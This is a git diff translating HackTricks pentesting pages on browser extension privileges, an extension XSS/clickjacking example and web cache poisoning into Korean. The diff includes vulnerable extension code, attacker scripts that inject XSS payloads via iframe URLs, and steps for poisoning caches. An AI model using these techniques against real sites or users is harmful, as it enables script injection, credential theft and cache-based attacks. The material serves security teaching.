[**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +콘텐츠 스크립트는 반드시 확장 프로그램 매니페스트에 정적으로 작성될 필요는 없습니다. 충분한 **`host_permissions`**가 주어지면, **확장 프로그램은** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **또는** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript)를 호출하여 동적으로 로드할 수 있습니다. -Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused. +두 API는 콘텐츠 스크립트로서 확장 프로그램에 포함된 파일뿐만 아니라 **임의의 코드**를 실행할 수 있게 합니다. 전자는 문자열로 JavaScript 코드를 전달할 수 있는 반면, 후자는 주입 취약점에 덜 취약한 JavaScript 함수를 기대합니다. 그럼에도 불구하고, 두 API는 잘못 사용될 경우 큰 혼란을 초래할 수 있습니다. > [!CAUTION] -> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers. +> 위의 기능 외에도, 콘텐츠 스크립트는 예를 들어 **웹 페이지에 입력되는 자격 증명을 가로챌 수 있습니다.** 이들을 악용하는 또 다른 고전적인 방법은 **모든 웹사이트에 광고를 주입하는 것입니다.** 뉴스 웹사이트의 신뢰성을 악용하기 위해 **사기 메시지를 추가하는 것**도 가능합니다. 마지막으로, 이들은 **은행 웹사이트를 조작하여** 자금 이체를 우회할 수 있습니다. -### Implicit privileges +### 암묵적 권한 -Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with. +일부 확장 프로그램 권한은 **명시적으로 선언할 필요가 없습니다.** 한 예로 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)가 있습니다: 그 기본 기능은 어떤 권한 없이도 접근할 수 있습니다. 어떤 확장 프로그램이든 탭을 열고 닫을 때 알림을 받을 수 있지만, 이 탭이 어떤 웹사이트와 관련이 있는지는 알 수 없습니다. -Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. +너무 무해하게 들리나요? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)는 그리 무해하지 않습니다. 이는 **새 탭을 생성하는 데 사용될 수 있으며**, 본질적으로 [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)과 동일합니다. 그러나 `window.open()`은 **팝업 차단기의 영향을 받지만, `tabs.create()`는 그렇지 않습니다.** > [!CAUTION] -> An extension can create any number of tabs whenever it wants. +> 확장 프로그램은 원할 때마다 임의의 수의 탭을 생성할 수 있습니다. -If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +가능한 `tabs.create()` 매개변수를 살펴보면, 그 기능이 `window.open()`이 허용하는 것보다 훨씬 더 넓다는 것을 알 수 있습니다. Firefox는 이 API와 함께 `data:` URI의 사용을 허용하지 않지만, Chrome은 그러한 보호가 없습니다. **최상위에서 이러한 URI의 사용은** [**피싱에 악용되었기 때문에 금지되었습니다**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)는 `tabs.create()`와 매우 유사하지만 **기존 탭을 수정합니다.** 따라서 악의적인 확장 프로그램은 예를 들어 임의로 광고 페이지를 사용자의 탭 중 하나에 로드할 수 있으며, 해당 탭을 활성화할 수도 있습니다. -### Webcam, geolocation and friends +### 웹캠, 지리 위치 및 친구들 -You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this. +웹사이트가 특별한 권한을 요청할 수 있다는 것을 알고 있을 것입니다. 예를 들어 웹캠(화상 회의 도구)이나 지리적 위치(지도)에 접근하기 위해서입니다. 이는 악용 가능성이 상당한 기능이므로 사용자는 매번 여전히 이를 원한다고 확인해야 합니다. > [!CAUTION] -> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** +> 브라우저 확장 프로그램은 그렇지 않습니다. **브라우저 확장 프로그램이** [**웹캠이나 마이크에 접근하고자 할 경우**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, 단 한 번만 권한을 요청하면 됩니다.** -Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly. +일반적으로 확장 프로그램은 설치 직후에 이를 요청합니다. 이 프롬프트가 수락되면, **언제든지 웹캠 접근이 가능해집니다.** 사용자가 이 시점에서 확장 프로그램과 상호작용하지 않더라도 가능합니다. 네, 사용자는 확장 프로그램이 정말로 웹캠 접근이 필요할 경우에만 이 프롬프트를 수락할 것입니다. 그러나 그 이후에는 확장 프로그램이 비밀리에 아무것도 녹음하지 않을 것이라고 신뢰해야 합니다. -With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything. +[당신의 정확한 지리적 위치](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 또는 [클립보드 내용](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)에 접근하는 경우, 명시적으로 권한을 부여할 필요가 전혀 없습니다. **확장 프로그램은 단순히 `geolocation` 또는 `clipboard`를** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **에 추가합니다.** 이러한 접근 권한은 확장 프로그램이 설치될 때 암묵적으로 부여됩니다. 따라서 이러한 권한을 가진 악의적이거나 손상된 확장 프로그램은 사용자가 아무것도 눈치채지 못한 채로 당신의 이동 프로필을 생성하거나 복사된 비밀번호를 모니터링할 수 있습니다. -Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again. +**`history`** 키워드를 확장 프로그램 매니페스트의 [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)에 추가하면 **`history API`**에 대한 **접근이 허용됩니다.** 이를 통해 사용자의 전체 브라우징 기록을 한 번에 검색할 수 있으며, 사용자가 이러한 웹사이트를 다시 방문할 때까지 기다릴 필요가 없습니다. -The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +**`bookmarks`** **권한**은 유사한 악용 가능성을 가지고 있으며, 이 권한은 **모든 북마크를** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)를 통해 읽을 수 있게 합니다. -### Storage permission +### 저장소 권한 -The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. +확장 프로그램 저장소는 단순히 키-값 컬렉션으로, 어떤 웹사이트에서도 사용할 수 있는 [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)와 매우 유사합니다. 따라서 여기에는 민감한 정보를 저장해서는 안 됩니다. -However, advertising companies could also abuse this storage. +그러나 광고 회사는 이 저장소를 악용할 수도 있습니다. -### More permissions +### 더 많은 권한 -You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +여기에서 [**Chromium 브라우저 확장이 요청할 수 있는 권한의 전체 목록을 찾을 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램에 대한 전체 목록은 여기에서 찾을 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** -## Prevention +## 예방 -The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store. +구글 개발자의 정책은 확장 프로그램이 기능에 필요한 것보다 더 많은 권한을 요청하는 것을 명시적으로 금지하여 과도한 권한 요청을 효과적으로 완화합니다. 브라우저 확장 프로그램이 이 경계를 넘은 사례는 애드온 스토어가 아닌 브라우저 자체와 함께 배포된 경우입니다. -Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. +브라우저는 확장 프로그램 권한의 남용을 더욱 억제할 수 있습니다. 예를 들어, 화면 녹화를 위해 사용되는 Chrome의 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 및 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API는 남용을 최소화하도록 설계되었습니다. tabCapture API는 확장 프로그램 아이콘을 클릭하는 것과 같은 직접적인 사용자 상호작용을 통해서만 활성화될 수 있으며, desktopCapture는 녹화할 창에 대한 사용자 확인을 요구하여 은밀한 녹화 활동을 방지합니다. -However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. +그러나 보안 조치를 강화하면 종종 확장 프로그램의 유연성과 사용자 친화성이 감소합니다. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)은 이러한 거래를 보여줍니다. 이는 확장 프로그램이 전체 인터넷에 대한 호스트 권한을 요청할 필요를 없애기 위해 도입되었으며, 사용자가 명시적으로 활성화할 경우 현재 탭에만 접근할 수 있도록 합니다. 이 모델은 사용자 주도의 작업이 필요한 확장 프로그램에는 효과적이지만, 자동 또는 사전 조치가 필요한 확장 프로그램에는 부족하여 편의성과 즉각적인 반응성을 저해합니다. -## **References** +## **참고 문헌** - [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 8ac44003f..8a31c5ae4 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,114 +1,100 @@ -# BrowExt - XSS Example +# BrowExt - XSS 예제 {{#include ../../banners/hacktricks-training.md}} -## Cross-Site Scripting (XSS) through Iframe - -In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe: +## Iframe을 통한 교차 사이트 스크립팅 (XSS) +이 설정에서는 **콘텐츠 스크립트**가 Iframe을 인스턴스화하기 위해 구현되며, Iframe의 소스로 쿼리 매개변수가 포함된 URL을 사용합니다: ```javascript chrome.storage.local.get("message", (result) => { - let constructedURL = - chrome.runtime.getURL("message.html") + - "?content=" + - encodeURIComponent(result.message) + - "&redirect=https://example.net/details" - frame.src = constructedURL +let constructedURL = +chrome.runtime.getURL("message.html") + +"?content=" + +encodeURIComponent(result.message) + +"&redirect=https://example.net/details" +frame.src = constructedURL }) ``` - -A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL: - +공개적으로 접근 가능한 HTML 페이지, **`message.html`**,은 URL의 매개변수에 따라 문서 본문에 동적으로 콘텐츠를 추가하도록 설계되었습니다: ```javascript $(document).ready(() => { - let urlParams = new URLSearchParams(window.location.search) - let userContent = urlParams.get("content") - $(document.body).html( - `${userContent} ` - ) - $("#detailBtn").on("click", () => { - let destinationURL = urlParams.get("redirect") - chrome.tabs.create({ url: destinationURL }) - }) +let urlParams = new URLSearchParams(window.location.search) +let userContent = urlParams.get("content") +$(document.body).html( +`${userContent} ` +) +$("#detailBtn").on("click", () => { +let destinationURL = urlParams.get("redirect") +chrome.tabs.create({ url: destinationURL }) +}) }) ``` - -A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script: - +악의적인 스크립트가 적의 페이지에서 실행되어 Iframe의 소스의 `content` 매개변수를 수정하여 **XSS 페이로드**를 도입합니다. 이는 Iframe의 소스를 해로운 스크립트를 포함하도록 업데이트함으로써 달성됩니다: ```javascript setTimeout(() => { - let targetFrame = document.querySelector("iframe").src - let baseURL = targetFrame.split("?")[0] - let xssPayload = "" - let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` +let targetFrame = document.querySelector("iframe").src +let baseURL = targetFrame.split("?")[0] +let xssPayload = "" +let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` - document.querySelector("iframe").src = maliciousURL +document.querySelector("iframe").src = maliciousURL }, 1000) ``` - -An overly permissive Content Security Policy such as: - +너무 관대한 콘텐츠 보안 정책 예: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` +JavaScript의 실행을 허용하여 시스템이 XSS 공격에 취약해집니다. -allows the execution of JavaScript, making the system vulnerable to XSS attacks. - -An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter: - +XSS를 유발하는 대안적인 접근 방식은 Iframe 요소를 생성하고 그 소스를 `content` 매개변수로 유해한 스크립트를 포함하도록 설정하는 것입니다: ```javascript let newFrame = document.createElement("iframe") newFrame.src = - "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + - encodeURIComponent("") +"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + +encodeURIComponent("") document.body.append(newFrame) ``` +## DOM 기반 XSS + ClickJacking -## DOM-based XSS + ClickJacking - -This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). - -The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below: +이 예시는 [원본 게시물 작성](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)에서 가져온 것입니다. +핵심 문제는 **`/html/bookmarks.html`**에 위치한 DOM 기반 교차 사이트 스크립팅(XSS) 취약점에서 발생합니다. 문제의 JavaScript는 **`bookmarks.js`**의 일부로 아래에 자세히 설명되어 있습니다: ```javascript $("#btAdd").on("click", function () { - var bookmarkName = $("#txtName").val() - if ( - $(".custom-button .label").filter(function () { - return $(this).text() === bookmarkName - }).length - ) - return false +var bookmarkName = $("#txtName").val() +if ( +$(".custom-button .label").filter(function () { +return $(this).text() === bookmarkName +}).length +) +return false - var bookmarkItem = $('
') - bookmarkItem.html('' + bookmarkName + "") - bookmarkItem.append('') - bookmarkItem.attr("data-title", bookmarkName) - bookmarkItem.data("timestamp", new Date().getTime()) - $("section.bookmark-container .existing-items").append(bookmarkItem) - persistData() +var bookmarkItem = $('
') +bookmarkItem.html('' + bookmarkName + "") +bookmarkItem.append('') +bookmarkItem.attr("data-title", bookmarkName) +bookmarkItem.data("timestamp", new Date().getTime()) +$("section.bookmark-container .existing-items").append(bookmarkItem) +persistData() }) ``` +이 코드 조각은 **`txtName`** 입력 필드에서 **값**을 가져오고 **문자열 연결을 사용하여 HTML을 생성**한 다음, jQuery의 `.append()` 함수를 사용하여 DOM에 추가합니다. -This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function. +일반적으로 Chrome 확장의 콘텐츠 보안 정책(CSP)은 이러한 취약점을 방지합니다. 그러나 **‘unsafe-eval’로 CSP 완화**와 jQuery의 DOM 조작 메서드 사용(이 메서드는 DOM 삽입 시 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)에 스크립트를 전달하기 위해 [`globalEval()`](https://api.jquery.com/jquery.globaleval/)을 사용함)으로 인해 여전히 악용이 가능합니다. -Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible. - -While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button. - -To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy: +이 취약점은 중요하지만, 그 악용은 일반적으로 사용자 상호작용에 의존합니다: 페이지 방문, XSS 페이로드 입력, “추가” 버튼 활성화. +이 취약점을 강화하기 위해, 두 번째 **클릭재킹** 취약점이 악용됩니다. Chrome 확장의 매니페스트는 광범위한 `web_accessible_resources` 정책을 보여줍니다: ```json "web_accessible_resources": [ - "html/bookmarks.html", - "dist/*", - "assets/*", - "font/*", - [...] +"html/bookmarks.html", +"dist/*", +"assets/*", +"font/*", +[...] ], ``` - -Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally. +특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 오버레이하여 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이러한 조작은 피해자가 기본 확장과 의도치 않게 상호작용하게 만듭니다. ## References @@ -116,4 +102,3 @@ Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerabl - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 38d5e764f..af2a637cd 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,150 +1,139 @@ -# Cache Poisoning and Cache Deception +# 캐시 오염 및 캐시 기만 {{#include ../../banners/hacktricks-training.md}}
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ +오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## The difference +## 차이점 -> **What is the difference between web cache poisoning and web cache deception?** +> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?** > -> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. -> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. +> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다. +> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다. -## Cache Poisoning +## 캐시 오염 -Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination. +캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강요하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다. -The execution of a cache poisoning assault involves several steps: +캐시 오염 공격의 실행에는 여러 단계가 포함됩니다: -1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache. -2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker. -3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response. +1. **키가 없는 입력 식별**: 이러한 매개변수는 요청이 캐시되기 위해 필요하지 않지만 서버가 반환하는 응답을 변경할 수 있습니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다. +2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 악용하여 공격자에게 유리한 방식으로 서버의 응답을 수정하는 방법을 파악하는 것입니다. +3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다. -### Discovery: Check HTTP headers +### 발견: HTTP 헤더 확인 -Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +일반적으로 응답이 **캐시에 저장되었을 때** **그를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### 발견: 캐시 오류 코드 -If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS). +응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다). -You can find more options in: +더 많은 옵션은 다음에서 찾을 수 있습니다: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable. +그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기** 때문에 이 테스트가 신뢰할 수 없을 수 있습니다. -### Discovery: Identify and evaluate unkeyed inputs - -You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: +### 발견: 키가 없는 입력 식별 및 평가 +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 스크립트를 거기서 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용할 수 있습니다: ```markup ``` +### 백엔드 서버에서 유해한 응답 유도하기 -### Elicit a harmful response from the back-end server +매개변수/헤더가 확인되면 **소독**되는 방식과 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 귀하가 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...) -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +### 응답 캐시 가져오기 -### Get the response cached +악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다. -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. +응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\ +헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800` -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자에 대해 캐시를 오염시킬 수 있습니다. -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다. -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +## 악용 예시 -## Exploiting Examples - -### Easiest example - -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +### 가장 쉬운 예 +헤더 `X-Forwarded-For`가 응답에 소독되지 않고 반영되고 있습니다.\ +기본 XSS 페이로드를 보내고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 